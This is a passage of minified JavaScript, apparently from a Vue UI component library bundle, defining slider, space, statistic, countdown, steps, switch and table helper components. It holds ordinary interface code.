0,"aria-valuemin":re.min,"aria-valuemax":re.range?d(T):re.max,"aria-valuenow":d(y),"aria-valuetext":d(b),"aria-orientation":re.vertical?"vertical":"horizontal","aria-disabled":d(f),"onUpdate:modelValue":d(R)},null,8,["id","model-value","vertical","tooltip-class","placement","aria-label","aria-labelledby","aria-valuemin","aria-valuemax","aria-valuenow","aria-valuetext","aria-orientation","aria-disabled","onUpdate:modelValue"]),re.range?(B(),ye(v7,{key:0,ref_key:"secondButton",ref:c,"model-value":d(T),vertical:re.vertical,"tooltip-class":re.tooltipClass,placement:re.placement,role:"slider","aria-label":d(w),"aria-valuemin":d(y),"aria-valuemax":re.max,"aria-valuenow":d(T),"aria-valuetext":d(A),"aria-orientation":re.vertical?"vertical":"horizontal","aria-disabled":d(f),"onUpdate:modelValue":d(K)},null,8,["model-value","vertical","tooltip-class","placement","aria-label","aria-valuemin","aria-valuemax","aria-valuenow","aria-valuetext","aria-orientation","aria-disabled","onUpdate:modelValue"])):pe("v-if",!0),re.showStops?(B(),_("div",Que,[(B(!0),_(Qe,null,Lt(d(W),(Ie,ge)=>(B(),_("div",{key:ge,class:F(d(o).e("stop")),style:De(d(j)(Ie))},null,6))),128))])):pe("v-if",!0),d(S).length>0?(B(),_(Qe,{key:2},[ne("div",null,[(B(!0),_(Qe,null,Lt(d(S),(Ie,ge)=>(B(),_("div",{key:ge,style:De(d(j)(Ie.position)),class:F([d(o).e("stop"),d(o).e("marks-stop")])},null,6))),128))]),ne("div",{class:F(d(o).e("marks"))},[(B(!0),_(Qe,null,Lt(d(S),(Ie,ge)=>(B(),ye(d(Due),{key:ge,mark:Ie.mark,style:De(d(j)(Ie.position))},null,8,["mark","style"]))),128))],2)],64)):pe("v-if",!0)],38),re.showInput&&!re.range?(B(),ye(d(Sx),{key:0,ref:"input","model-value":d(y),class:F(d(o).e("input")),step:re.step,disabled:d(f),controls:re.showInputControls,min:re.min,max:re.max,debounce:re.debounce,size:d(X),"onUpdate:modelValue":d(R),onChange:d(q)},null,8,["model-value","class","step","disabled","controls","min","max","debounce","size","onUpdate:modelValue","onChange"])):pe("v-if",!0)],42,Xue)}}});var ece=Ye($ue,[["__file","slider.vue"]]);const tce=It(ece),nce=Ge({prefixCls:{type:String}}),g7=ie({name:"ElSpaceItem",props:nce,setup(e,{slots:t}){const n=Oe("space"),r=N(()=>`${e.prefixCls||n.b()}__item`);return()=>tt("div",{class:r.value},qe(t,"default"))}}),y7={small:8,default:12,large:16};function rce(e){const t=Oe("space"),n=N(()=>[t.b(),t.m(e.direction),e.class]),r=D(0),o=D(0),i=N(()=>{const a=e.wrap||e.fill?{flexWrap:"wrap"}:{},l={alignItems:e.alignment},u={rowGap:`${o.value}px`,columnGap:`${r.value}px`};return[a,l,u,e.style]}),s=N(()=>e.fill?{flexGrow:1,minWidth:`${e.fillRatio}%`}:{});return Gn(()=>{const{size:a="small",wrap:l,direction:u,fill:c}=e;if(Ve(a)){const[f=0,p=0]=a;r.value=f,o.value=p}else{let f;nt(a)?f=a:f=y7[a||"small"]||y7.small,(l||c)&&u==="horizontal"?r.value=o.value=f:u==="horizontal"?(r.value=f,o.value=0):(o.value=f,r.value=0)}}),{classes:n,containerStyle:i,itemStyle:s}}const oce=Ge({direction:{type:String,values:["horizontal","vertical"],default:"horizontal"},class:{type:he([String,Object,Array]),default:""},style:{type:he([String,Array,Object]),default:""},alignment:{type:he(String),default:"center"},prefixCls:{type:String},spacer:{type:he([Object,String,Number,Array]),default:null,validator:e=>En(e)||nt(e)||st(e)},wrap:Boolean,fill:Boolean,fillRatio:{type:Number,default:100},size:{type:[String,Array,Number],values:Ui,validator:e=>nt(e)||Ve(e)&&e.length===2&&e.every(nt)}}),ice=ie({name:"ElSpace",props:oce,setup(e,{slots:t}){const{classes:n,containerStyle:r,itemStyle:o}=rce(e);function i(s,a="",l=[]){const{prefixCls:u}=e;return s.forEach((c,f)=>{Zg(c)?Ve(c.children)&&c.children.forEach((p,m)=>{Zg(p)&&Ve(p.children)?i(p.children,`${a+m}-`,l):l.push(ae(g7,{style:o.value,prefixCls:u,key:`nested-${a+m}`},{default:()=>[p]},zo.PROPS|zo.STYLE,["style","prefixCls"]))}):cH(c)&&l.push(ae(g7,{style:o.value,prefixCls:u,key:`LoopKey${a+f}`},{default:()=>[c]},zo.PROPS|zo.STYLE,["style","prefixCls"]))}),l}return()=>{var s;const{spacer:a,direction:l}=e,u=qe(t,"default",{key:0},()=>[]);if(((s=u.children)!=null?s:[]).length===0)return null;if(Ve(u.children)){let c=i(u.children);if(a){const f=c.length-1;c=c.reduce((p,m,g)=>{const v=[...p,m];return g!==f&&v.push(ae("span",{style:[o.value,l==="vertical"?"width: 100%":null],key:g},[En(a)?a:Kt(a,zo.TEXT)],zo.STYLE)),v},[])}return ae("div",{class:n.value,style:r.value},c,zo.STYLE|zo.CLASS)}return u.children}}}),sce=It(ice),ace=Ge({decimalSeparator:{type:String,default:"."},groupSeparator:{type:String,default:","},precision:{type:Number,default:0},formatter:Function,value:{type:he([Number,Object]),default:0},prefix:String,suffix:String,title:String,valueStyle:{type:he([String,Object,Array])}}),lce=ie({name:"ElStatistic"}),uce=ie({...lce,props:ace,setup(e,{expose:t}){const n=e,r=Oe("statistic"),o=N(()=>{const{value:i,formatter:s,precision:a,decimalSeparator:l,groupSeparator:u}=n;if(ot(s))return s(i);if(!nt(i))return i;let[c,f=""]=String(i).split(".");return f=f.padEnd(a,"0").slice(0,a>0?a:0),c=c.replace(/\B(?=(\d{3})+(?!\d))/g,u),[c,f].join(f?l:"")});return t({displayValue:o}),(i,s)=>(B(),_("div",{class:F(d(r).b())},[i.$slots.title||i.title?(B(),_("div",{key:0,class:F(d(r).e("head"))},[qe(i.$slots,"title",{},()=>[Kt(We(i.title),1)])],2)):pe("v-if",!0),ne("div",{class:F(d(r).e("content"))},[i.$slots.prefix||i.prefix?(B(),_("div",{key:0,class:F(d(r).e("prefix"))},[qe(i.$slots,"prefix",{},()=>[ne("span",null,We(i.prefix),1)])],2)):pe("v-if",!0),ne("span",{class:F(d(r).e("number")),style:De(i.valueStyle)},We(d(o)),7),i.$slots.suffix||i.suffix?(B(),_("div",{key:1,class:F(d(r).e("suffix"))},[qe(i.$slots,"suffix",{},()=>[ne("span",null,We(i.suffix),1)])],2)):pe("v-if",!0)],2)],2))}});var cce=Ye(uce,[["__file","statistic.vue"]]);const _x=It(cce),dce=Ge({format:{type:String,default:"HH:mm:ss"},prefix:String,suffix:String,title:String,value:{type:he([Number,Object]),default:0},valueStyle:{type:he([String,Object,Array])}}),fce={finish:()=>!0,[qn]:e=>nt(e)},hce=[["Y",1e3*60*60*24*365],["M",1e3*60*60*24*30],["D",1e3*60*60*24],["H",1e3*60*60],["m",1e3*60],["s",1e3],["S",1]],b7=e=>nt(e)?new Date(e).getTime():e.valueOf(),I7=(e,t)=>{let n=e;const r=/\[([^\]]*)]/g;return hce.reduce((i,[s,a])=>{const l=new RegExp(`${s}+(?![^\\[\\]]*\\])`,"g");if(l.test(i)){const u=Math.floor(n/a);return n-=u*a,i.replace(l,c=>String(u).padStart(c.length,"0"))}return i},t).replace(r,"$1")},pce=ie({name:"ElCountdown"}),mce=ie({...pce,props:dce,emits:fce,setup(e,{expose:t,emit:n}){const r=e;let o;const i=D(b7(r.value)-Date.now()),s=N(()=>I7(i.value,r.format)),a=c=>I7(c,r.format),l=()=>{o&&(kl(o),o=void 0)},u=()=>{const c=b7(r.value),f=()=>{let p=c-Date.now();n("change",p),p<=0?(p=0,l(),n("finish")):o=ma(f),i.value=p};o=ma(f)};return Ce(()=>[r.value,r.format],()=>{l(),u()},{immediate:!0}),vn(()=>{l()}),t({displayValue:s}),(c,f)=>(B(),ye(d(_x),{value:i.value,title:c.title,prefix:c.prefix,suffix:c.suffix,"value-style":c.valueStyle,formatter:a},ms({_:2},[Lt(c.$slots,(p,m)=>({name:m,fn:fe(()=>[qe(c.$slots,m)])}))]),1032,["value","title","prefix","suffix","value-style"]))}});var vce=Ye(mce,[["__file","countdown.vue"]]);const gce=It(vce),yce=Ge({space:{type:[Number,String],default:""},active:{type:Number,default:0},direction:{type:String,default:"horizontal",values:["horizontal","vertical"]},alignCenter:{type:Boolean},simple:{type:Boolean},finishStatus:{type:String,values:["wait","process","finish","error","success"],default:"finish"},processStatus:{type:String,values:["wait","process","finish","error","success"],default:"process"}}),bce={[qn]:(e,t)=>[e,t].every(nt)},Ice=ie({name:"ElSteps"}),qce=ie({...Ice,props:yce,emits:bce,setup(e,{emit:t}){const n=e,r=Oe("steps"),{children:o,addChild:i,removeChild:s}=iI(bt(),"ElStep");return Ce(o,()=>{o.value.forEach((a,l)=>{a.setIndex(l)})}),Ot("ElSteps",{props:n,steps:o,addStep:i,removeStep:s}),Ce(()=>n.active,(a,l)=>{t(qn,a,l)}),(a,l)=>(B(),_("div",{class:F([d(r).b(),d(r).m(a.simple?"simple":a.direction)])},[qe(a.$slots,"default")],2))}});var wce=Ye(qce,[["__file","steps.vue"]]);const Sce=Ge({title:{type:String,default:""},icon:{type:cn},description:{type:String,default:""},status:{type:String,values:["","wait","process","finish","error","success"],default:""}}),Ece=ie({name:"ElStep"}),Ace=ie({...Ece,props:Sce,setup(e){const t=e,n=Oe("step"),r=D(-1),o=D({}),i=D(""),s=Fe("ElSteps"),a=bt();mt(()=>{Ce([()=>s.props.active,()=>s.props.processStatus,()=>s.props.finishStatus],([K])=>{x(K)},{immediate:!0})}),vn(()=>{s.removeStep(R.uid)});const l=N(()=>t.status||i.value),u=N(()=>{const K=s.steps.value[r.value-1];return K?K.currentStatus:"wait"}),c=N(()=>s.props.alignCenter),f=N(()=>s.props.direction==="vertical"),p=N(()=>s.props.simple),m=N(()=>s.steps.value.length),g=N(()=>{var K;return((K=s.steps.value[m.value-1])==null?void 0:K.uid)===(a==null?void 0:a.uid)}),v=N(()=>p.value?"":s.props.space),I=N(()=>[n.b(),n.is(p.value?"simple":s.props.direction),n.is("flex",g.value&&!v.value&&!c.value),n.is("center",c.value&&!f.value&&!p.value)]),q=N(()=>{const K={flexBasis:nt(v.value)?`${v.value}px`:v.value?v.value:`${100/(m.value-(c.value?0:1))}%`};return f.value||g.value&&(K.maxWidth=`${100/m.value}%`),K}),M=K=>{r.value=K},E=K=>{const W=K==="wait",j={transitionDelay:`${W?"-":""}${150*r.value}ms`},H=K===s.props.processStatus||W?0:100;j.borderWidth=H&&!p.value?"1px":0,j[s.props.direction==="vertical"?"height":"width"]=`${H}%`,o.value=j},x=K=>{K>r.value?i.value=s.props.finishStatus:K===r.value&&u.value!=="error"?i.value=s.props.processStatus:i.value="wait";const W=s.steps.value[r.value-1];W&&W.calcProgress(i.value)},R=$t({uid:a.uid,currentStatus:l,setIndex:M,calcProgress:E});return s.addStep(R),(K,W)=>(B(),_("div",{style:De(d(q)),class:F(d(I))},[pe(" icon & line "),ne("div",{class:F([d(n).e("head"),d(n).is(d(l))])},[d(p)?pe("v-if",!0):(B(),_("div",{key:0,class:F(d(n).e("line"))},[ne("i",{class:F(d(n).e("line-inner")),style:De(o.value)},null,6)],2)),ne("div",{class:F([d(n).e("icon"),d(n).is(K.icon||K.$slots.icon?"icon":"text")])},[qe(K.$slots,"icon",{},()=>[K.icon?(B(),ye(d(Pe),{key:0,class:F(d(n).e("icon-inner"))},{default:fe(()=>[(B(),ye(Et(K.icon)))]),_:1},8,["class"])):d(l)==="success"?(B(),ye(d(Pe),{key:1,class:F([d(n).e("icon-inner"),d(n).is("status")])},{default:fe(()=>[ae(d(uf))]),_:1},8,["class"])):d(l)==="error"?(B(),ye(d(Pe),{key:2,class:F([d(n).e("icon-inner"),d(n).is("status")])},{default:fe(()=>[ae(d(fi))]),_:1},8,["class"])):d(p)?pe("v-if",!0):(B(),_("div",{key:3,class:F(d(n).e("icon-inner"))},We(r.value+1),3))])],2)],2),pe(" title & description "),ne("div",{class:F(d(n).e("main"))},[ne("div",{class:F([d(n).e("title"),d(n).is(d(l))])},[qe(K.$slots,"title",{},()=>[Kt(We(K.title),1)])],2),d(p)?(B(),_("div",{key:0,class:F(d(n).e("arrow"))},null,2)):(B(),_("div",{key:1,class:F([d(n).e("description"),d(n).is(d(l))])},[qe(K.$slots,"description",{},()=>[Kt(We(K.description),1)])],2))],2)],6))}});var $x=Ye(Ace,[["__file","item.vue"]]);const Mce=It(wce,{Step:$x}),Cce=kn($x),kce=Ge({modelValue:{type:[Boolean,String,Number],default:!1},disabled:{type:Boolean,default:!1},loading:{type:Boolean,default:!1},size:{type:String,validator:e6},width:{type:[String,Number],default:""},inlinePrompt:{type:Boolean,default:!1},inactiveActionIcon:{type:cn},activeActionIcon:{type:cn},activeIcon:{type:cn},inactiveIcon:{type:cn},activeText:{type:String,default:""},inactiveText:{type:String,default:""},activeValue:{type:[Boolean,String,Number],default:!0},inactiveValue:{type:[Boolean,String,Number],default:!1},name:{type:String,default:""},validateEvent:{type:Boolean,default:!0},beforeChange:{type:he(Function)},id:String,tabindex:{type:[String,Number]},label:{type:String,default:void 0}}),xce={[St]:e=>Un(e)||st(e)||nt(e),[qn]:e=>Un(e)||st(e)||nt(e),[Qr]:e=>Un(e)||st(e)||nt(e)},Oce=["onClick"],zce=["id","aria-checked","aria-disabled","aria-label","name","true-value","false-value","disabled","tabindex","onKeydown"],Kce=["aria-hidden"],Rce=["aria-hidden"],Lce=["aria-hidden"],e4="ElSwitch",Zce=ie({name:e4}),Tce=ie({...Zce,props:kce,emits:xce,setup(e,{expose:t,emit:n}){const r=e,{formItem:o}=eo(),i=nr(),s=Oe("switch"),{inputId:a}=Fi(r,{formItemContext:o}),l=fo(N(()=>r.loading)),u=D(r.modelValue!==!1),c=D(),f=D(),p=N(()=>[s.b(),s.m(i.value),s.is("disabled",l.value),s.is("checked",q.value)]),m=N(()=>[s.e("label"),s.em("label","left"),s.is("active",!q.value)]),g=N(()=>[s.e("label"),s.em("label","right"),s.is("active",q.value)]),v=N(()=>({width:Yn(r.width)}));Ce(()=>r.modelValue,()=>{u.value=!0});const I=N(()=>u.value?r.modelValue:!1),q=N(()=>I.value===r.activeValue);[r.activeValue,r.inactiveValue].includes(I.value)||(n(St,r.inactiveValue),n(qn,r.inactiveValue),n(Qr,r.inactiveValue)),Ce(q,R=>{var K;c.value.checked=R,r.validateEvent&&((K=o==null?void 0:o.validate)==null||K.call(o,"change").catch(W=>void 0))});const M=()=>{const R=q.value?r.inactiveValue:r.activeValue;n(St,R),n(qn,R),n(Qr,R),$e(()=>{c.value.checked=q.value})},E=()=>{if(l.value)return;const{beforeChange:R}=r;if(!R){M();return}const K=R();[hd(K),Un(K)].includes(!0)||tr(e4,"beforeChange must return type `Promise<boolean>` or `boolean`"),hd(K)?K.then(j=>{j&&M()}).catch(j=>{}):K&&M()},x=()=>{var R,K;(K=(R=c.value)==null?void 0:R.focus)==null||K.call(R)};return mt(()=>{c.value.checked=q.value}),t({focus:x,checked:q}),(R,K)=>(B(),_("div",{class:F(d(p)),onClick:rt(E,["prevent"])},[ne("input",{id:d(a),ref_key:"input",ref:c,class:F(d(s).e("input")),type:"checkbox",role:"switch","aria-checked":d(q),"aria-disabled":d(l),"aria-label":R.label,name:R.name,"true-value":R.activeValue,"false-value":R.inactiveValue,disabled:d(l),tabindex:R.tabindex,onChange:M,onKeydown:un(E,["enter"])},null,42,zce),!R.inlinePrompt&&(R.inactiveIcon||R.inactiveText)?(B(),_("span",{key:0,class:F(d(m))},[R.inactiveIcon?(B(),ye(d(Pe),{key:0},{default:fe(()=>[(B(),ye(Et(R.inactiveIcon)))]),_:1})):pe("v-if",!0),!R.inactiveIcon&&R.inactiveText?(B(),_("span",{key:1,"aria-hidden":d(q)},We(R.inactiveText),9,Kce)):pe("v-if",!0)],2)):pe("v-if",!0),ne("span",{ref_key:"core",ref:f,class:F(d(s).e("core")),style:De(d(v))},[R.inlinePrompt?(B(),_("div",{key:0,class:F(d(s).e("inner"))},[R.activeIcon||R.inactiveIcon?(B(),ye(d(Pe),{key:0,class:F(d(s).is("icon"))},{default:fe(()=>[(B(),ye(Et(d(q)?R.activeIcon:R.inactiveIcon)))]),_:1},8,["class"])):R.activeText||R.inactiveText?(B(),_("span",{key:1,class:F(d(s).is("text")),"aria-hidden":!d(q)},We(d(q)?R.activeText:R.inactiveText),11,Rce)):pe("v-if",!0)],2)):pe("v-if",!0),ne("div",{class:F(d(s).e("action"))},[R.loading?(B(),ye(d(Pe),{key:0,class:F(d(s).is("loading"))},{default:fe(()=>[ae(d(wa))]),_:1},8,["class"])):d(q)?qe(R.$slots,"active-action",{key:1},()=>[R.activeActionIcon?(B(),ye(d(Pe),{key:0},{default:fe(()=>[(B(),ye(Et(R.activeActionIcon)))]),_:1})):pe("v-if",!0)]):d(q)?pe("v-if",!0):qe(R.$slots,"inactive-action",{key:2},()=>[R.inactiveActionIcon?(B(),ye(d(Pe),{key:0},{default:fe(()=>[(B(),ye(Et(R.inactiveActionIcon)))]),_:1})):pe("v-if",!0)])],2)],6),!R.inlinePrompt&&(R.activeIcon||R.activeText)?(B(),_("span",{key:1,class:F(d(g))},[R.activeIcon?(B(),ye(d(Pe),{key:0},{default:fe(()=>[(B(),ye(Et(R.activeIcon)))]),_:1})):pe("v-if",!0),!R.activeIcon&&R.activeText?(B(),_("span",{key:1,"aria-hidden":!d(q)},We(R.activeText),9,Lce)):pe("v-if",!0)],2)):pe("v-if",!0)],10,Oce))}});var Nce=Ye(Tce,[["__file","switch.vue"]]);const jce=It(Nce),y0=function(e){var t;return(t=e.target)==null?void 0:t.closest("td")},Wce=function(e,t,n,r,o){if(!t&&!r&&(!o||Array.isArray(o)&&!o.length))return e;typeof n=="string"?n=n==="descending"?-1:1:n=n&&n<0?-1:1;const i=r?null:function(a,l){return o?(Array.isArray(o)||(o=[o]),o.map(u=>typeof u=="string"?Tn(a,u):u(a,l,e))):(t!=="$key"&&At(a)&&"$value"in a&&(a=a.$value),[At(a)?Tn(a,t):a])},s=function(a,l){if(r)return r(a.value,l.value);for(let u=0,c=a.key.length;u<c;u++){if(a.key[u]<l.key[u])return-1;if(a.key[u]>l.key[u])return 1}return 0};return e.map((a,l)=>({value:a,index:l,key:i?i(a,l):null})).sort((a,l)=>{let u=s(a,l);return u||(u=a.index-l.index),u*+n}).map(a=>a.value)},t4=function(e,t){let n=null;return e.columns.forEach(r=>{r.id===t&&(n=r)}),n},Gce=function(e,t){let n=null;for(let r=0;r<e.columns.length;r++){const o=e.columns[r];if(o.columnKey===t){n=o;break}}return n||tr("ElTable",`No column matching with column-key: ${t}`),n},q7=function(e,t,n){const r=(t.className||"").match(new RegExp(`${n}-table_[^\\s]+`,"gm"));return r?t4(e,r[0]):null},xr=(e,t)=>{if(!e)throw new Error("Row is required when get row identity");if(typeof t=="string"){if(!t.includes("."))return`${e[t]}`;const n=t.split(".");let r=e;for(const o of n)r=r[o];return`${r}`}else if(typeof t=="function")return t.call(null,e)},ol=function(e,t){const n={};return(e||[]).forEach((r,o)=>{n[xr(r,t)]={row:r,index:o}}),n};function Yce(e,t){const n={};let r;for(r in e)n[r]=e[r];for(r in t)if(Gt(t,r)){const o=t[r];typeof o<"u"&&(n[r]=o)}return n}function OI(e){return e===""||e!==void 0&&(e=Number.parseInt(e,10),Number.isNaN(e)&&(e="")),e}function n4(e){return e===""||e!==void 0&&(e=OI(e),Number.isNaN(e)&&(e=80)),e}function Bce(e){return typeof e=="number"?e:typeof e=="string"?/^\d+(?:px)?$/.test(e)?Number.parseInt(e,10):e:null}function Jce(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function ud(e,t,n){let r=!1;const o=e.indexOf(t),i=o!==-1,s=a=>{a==="add"?e.push(t):e.splice(o,1),r=!0,Ve(t.children)&&t.children.forEach(l=>{ud(e,l,n??!i)})};return Un(n)?n&&!i?s("add"):!n&&i&&s("remove"):s(i?"remove":"add"),r}function Vce(e,t,n="children",r="hasChildren"){const o=s=>!(Array.isArray(s)&&s.length);function i(s,a,l){t(s,a,l),a.forEach(u=>{if(u[r]){t(u,null,l+1);return}const c=u[n];o(c)||i(u,c,l+1)})}e.forEach(s=>{if(s[r]){t(s,null,0);return}const a=s[n];o(a)||i(s,a,0)})}let Co=null;function Uce(e,t,n,r){if((Co==null?void 0:Co.trigger)===n)return;Co==null||Co();const o=r==null?void 0:r.refs.tableWrapper,i=o==null?void 0:o.dataset.prefix,s={strategy:"fixed",...e.popperOptions},a=ae(Vr,{content:t,virtualTriggering:!0,virtualRef:n,appendTo:o,placement:"top",transition:"none",offset:0,hideAfter:0,...e,popperOptions:s,onHide:()=>{Co==null||Co()}});a.appContext={...r.appContext,...r};const l=document.createElement("div");da(a,l),a.component.exposed.onOpen();const u=o==null?void 0:o.querySelector(`.${i}-scrollbar__wrap`);Co=()=>{da(null,l),u==null||u.removeEventListener("scroll",Co),Co=null},Co.trigger=n,u==null||u.addEventListener("scroll",Co)}function r4(e){return e.children?MU(e.children,r4):[e]}function w7(e,t){return e+t.colSpan}const o4=(e,t,n,r)=>{let o=0,i=e;const s=n.states.columns.value;if(r){const l=r4(r[e]);o=s.slice(0,s.indexOf(l[0])).reduce(w7,0),i=o+l.reduce(w7,0)-1}else o=e;let a;switch(t){case"left":i<n.states.fixedLeafColumnsLength.value&&(a="left");break;case"right":o>=s.length-n.states.rightFixedLeafColumnsLength.value&&(a="right");break;default:i<n.states.fixedLeafColumnsLength.value?a="left":o>=s.length-n.states.rightFixedLeafColumnsLength.value&&(a="right")}return a?{direction:a,start:o,after:i}:{}},zI=(e,t,n,r,o,i=0)=>{const s=[],{direction:a,start:l,after:u}=o4(t,n,r,o);if(a){const c=a==="left";s.push(`${e}-fixed-column--${a}`),c&&u+i===r.states.fixedLeafColumnsLength.value-1?s.push("is-last-column"):!c&&l-i===r.states.columns.value.length-r.states.rightFixedLeafColumnsLength.value&&s.push("is-first-column")}return s};function S7(e,t){return e+(t.realWidth===null||Number.isNaN(t.realWidth)?Number(t.width):t.realWidth)}const KI=(e,t,n,r)=>{const{direction:o,start:i=0,after:s=0}=o4(e,t,n,r);if(!o)return;const a={},l=o==="left",u=n.states.columns.value;return l?a.left=u.slice(0,i).reduce(S7,0):a.right=u.slice(s+1).reverse().reduce(S7,0),a},ac=(e,t)=>{e&&(Number.isNaN(e[t])||(e[t]=`${e[t]}px`))};function Fce(e){const t=bt(),n=D(!1),r=D([]);return{updateExpandRows:()=>{const l=e.data.value||[],u=e.rowKey.value;if(n.value)r.value=l.slice();else if(u){const c=ol(r.value,u);r.value=l.reduce((f,p)=>{const m=xr(p,u);return c[m]&&f.push(p),f},[])}else r.value=[]},toggleRowExpansion:(l,u)=>{ud(r.value,l,u)&&t.emit("expand-change",l,r.value.slice())},setExpandRowKeys:l=>{t.store.assertRowKey();const u=e.data.value||[],c=e.rowKey.value,f=ol(u,c);r.value=l.reduce((p,m)=>{const g=f[m];return g&&p.push(g.row),p},[])},isRowExpanded:l=>{const u=e.rowKey.value;return u?!!ol(r.value,u)[xr(l,u)]:r.value.includes(l)},states:{expandRows:r,defaultExpandAll:n}}}function Hce(e){const t=bt(),n=D(null),r=D(null),o=u=>{t.store.assertRowKey(),n.value=u,s(u)},i=()=>{n.value=null},s=u=>{const{data:c,rowKey:f}=e;let p=null;f.value&&(p=(d(c)||[]).find(m=>xr(m,f.value)===u)),r.value=p,t.emit("current-change",r.value,null)};return{setCurrentRowKey:o,restoreCurrentRowKey:i,setCurrentRowByKey:s,updateCurrentRow:u=>{const c=r.value;if(u&&u!==c){r.value=u,t.emit("current-change",r.value,c);return}!u&&c&&(r.value=null,t.emit("current-change",null,c))},updateCurrentRowData:()=>{const u=e.rowKey.value,c=e.data.value||[],f=r.value;if(!c.includes(f)&&f){if(u){const p=xr(f,u);s(p)}else r.value=null;r.value===null&&t.emit("current-change",null,f)}else n.value&&(s(n.value),i())},states:{_currentRowKey:n,currentRow:r}}}function Pce(e){const t=D([]),n=D({}),r=D(16),o=D(!1),i=D({}),s=D("hasChildren"),a=D("children"),l=bt(),u=N(()=>{if(!e.rowKey.value)return{};const q=e.data.value||[];return f(q)}),c=N(()=>{const q=e.rowKey.value,M=Object.keys(i.value),E={};return M.length&&M.forEach(x=>{if(i.value[x].length){const R={children:[]};i.value[x].forEach(K=>{const W=xr(K,q);R.children.push(W),K[s.value]&&!E[W]&&(E[W]={children:[]})}),E[x]=R}}),E}),f=q=>{const M=e.rowKey.value,E={};return Vce(q,(x,R,K)=>{const W=xr(x,M);Array.isArray(R)?E[W]={children:R.map(j=>xr(j,M)),level:K}:o.value&&(E[W]={children:[],lazy:!0,level:K})},a.value,s.value),E},p=(q=!1,M=(E=>(E=l.store)==null?void 0:E.states.defaultExpandAll.value)())=>{var E;const x=u.value,R=c.value,K=Object.keys(x),W={};if(K.length){const j=d(n),H=[],P=(X,L)=>{if(q)return t.value?M||t.value.includes(L):!!(M||X!=null&&X.expanded);{const h=M||t.value&&t.value.includes(L);return!!(X!=null&&X.expanded||h)}};K.forEach(X=>{const L=j[X],h={...x[X]};if(h.expanded=P(L,X),h.lazy){const{loaded:b=!1,loading:w=!1}=L||{};h.loaded=!!b,h.loading=!!w,H.push(X)}W[X]=h});const U=Object.keys(R);o.value&&U.length&&H.length&&U.forEach(X=>{const L=j[X],h=R[X].children;if(H.includes(X)){if(W[X].children.length!==0)throw new Error("[ElTable]children must be an empty array.");W[X].children=h}else{const{loaded:b=!1,loading:w=!1}=L||{};W[X]={lazy:!0,loaded:!!b,loading:!!w,expanded:P(L,X),children:h,level:""}}})}n.value=W,(E=l.store)==null||E.updateTableScrollY()};Ce(()=>t.value,()=>{p(!0)}),Ce(()=>u.value,()=>{p()}),Ce(()=>c.value,()=>{p()});const m=q=>{t.value=q,p()},g=(q,M)=>{l.store.assertRowKey();const E=e.rowKey.value,x=xr(q,E),R=x&&n.value[x];if(x&&R&&"expanded"in R){const K=R.expanded;M=typeof M>"u"?!R.expanded:M,n.value[x].expanded=M,K!==M&&l.emit("expand-change",q,M),l.store.updateTableScrollY()}},v=q=>{l.store.assertRowKey();const M=e.rowKey.value,E=xr(q,M),x=n.value[E];o.value&&x&&"loaded"in x&&!x.loaded?I(q,E,x):g(q,void 0)},I=(q,M,E)=>{const{load:x}=l.props;x&&!n.value[M].loaded&&(n.value[M].loading=!0,x(q,E,R=>{if(!Array.isArray(R))throw new TypeError("[ElTable] data must be an array");n.value[M].loading=!1,n.value[M].loaded=!0,n.value[M].expanded=!0,R.length&&(i.value[M]=R),l.emit("expand-change",q,!0)}))};return{loadData:I,loadOrToggle:v,toggleTreeExpansion:g,updateTreeExpandKeys:m,updateTreeData:p,normalize:f,states:{expandRowKeys:t,treeData:n,indent:r,lazy:o,lazyTreeNodeMap:i,lazyColumnIdentifier:s,childrenColumnName:a}}}const Dce=(e,t)=>{const n=t.sortingColumn;return!n||typeof n.sortable=="string"?e:Wce(e,t.sortProp,t.sortOrder,n.sortMethod,n.sortBy)},Gh=e=>{const t=[];return e.forEach(n=>{n.children&&n.children.length>0?t.push.apply(t,Gh(n.children)):t.push(n)}),t};function Xce(){var e;const t=bt(),{size:n}=Fn((e=t.proxy)==null?void 0:e.$props),r=D(null),o=D([]),i=D([]),s=D(!1),a=D([]),l=D([]),u=D([]),c=D([]),f=D([]),p=D([]),m=D([]),g=D([]),v=[],I=D(0),q=D(0),M=D(0),E=D(!1),x=D([]),R=D(!1),K=D(!1),W=D(null),j=D({}),H=D(null),P=D(null),U=D(null),X=D(null),L=D(null);Ce(o,()=>t.state&&A(!1),{deep:!0});const h=()=>{if(!r.value)throw new Error("[ElTable] prop row-key is required")},b=G=>{var O;(O=G.children)==null||O.forEach(Z=>{Z.fixed=G.fixed,b(Z)})},w=()=>{a.value.forEach($=>{b($)}),c.value=a.value.filter($=>$.fixed===!0||$.fixed==="left"),f.value=a.value.filter($=>$.fixed==="right"),c.value.length>0&&a.value[0]&&a.value[0].type==="selection"&&!a.value[0].fixed&&(a.value[0].fixed=!0,c.value.unshift(a.value[0]));const G=a.value.filter($=>!$.fixed);l.value=[].concat(c.value).concat(G).concat(f.value);const O=Gh(G),Z=Gh(c.value),Y=Gh(f.value);I.value=O.length,q.value=Z.length,M.value=Y.length,u.value=[].concat(Z).concat(O).concat(Y),s.value=c.value.length>0||f.value.length>0},A=(G,O=!1)=>{G&&w(),O?t.state.doLayout():t.state.debouncedUpdateLayout()},C=G=>x.value.includes(G),S=()=>{E.value=!1,x.value.length&&(x.value=[],t.emit("selection-change",[]))},z=()=>{let G;if(r.value){G=[];const O=ol(x.value,r.value),Z=ol(o.value,r.value);for(const Y in O)Gt(O,Y)&&!Z[Y]&&G.push(O[Y].row)}else G=x.value.filter(O=>!o.value.includes(O));if(G.length){const O=x.value.filter(Z=>!G.includes(Z));x.value=O,t.emit("selection-change",O.slice())}},k=()=>(x.value||[]).slice(),y=(G,O=void 0,Z=!0)=>{if(ud(x.value,G,O)){const $=(x.value||[]).slice();Z&&t.emit("select",$,G),t.emit("selection-change",$)}},T=()=>{var G,O;const Z=K.value?!E.value:!(E.value||x.value.length);E.value=Z;let Y=!1,$=0;const oe=(O=(G=t==null?void 0:t.store)==null?void 0:G.states)==null?void 0:O.rowKey.value;o.value.forEach((ee,ze)=>{const Te=ze+$;W.value?W.value.call(null,ee,Te)&&ud(x.value,ee,Z)&&(Y=!0):ud(x.value,ee,Z)&&(Y=!0),$+=re(xr(ee,oe))}),Y&&t.emit("selection-change",x.value?x.value.slice():[]),t.emit("select-all",x.value)},te=()=>{const G=ol(x.value,r.value);o.value.forEach(O=>{const Z=xr(O,r.value),Y=G[Z];Y&&(x.value[Y.index]=O)})},le=()=>{var G,O,Z;if(((G=o.value)==null?void 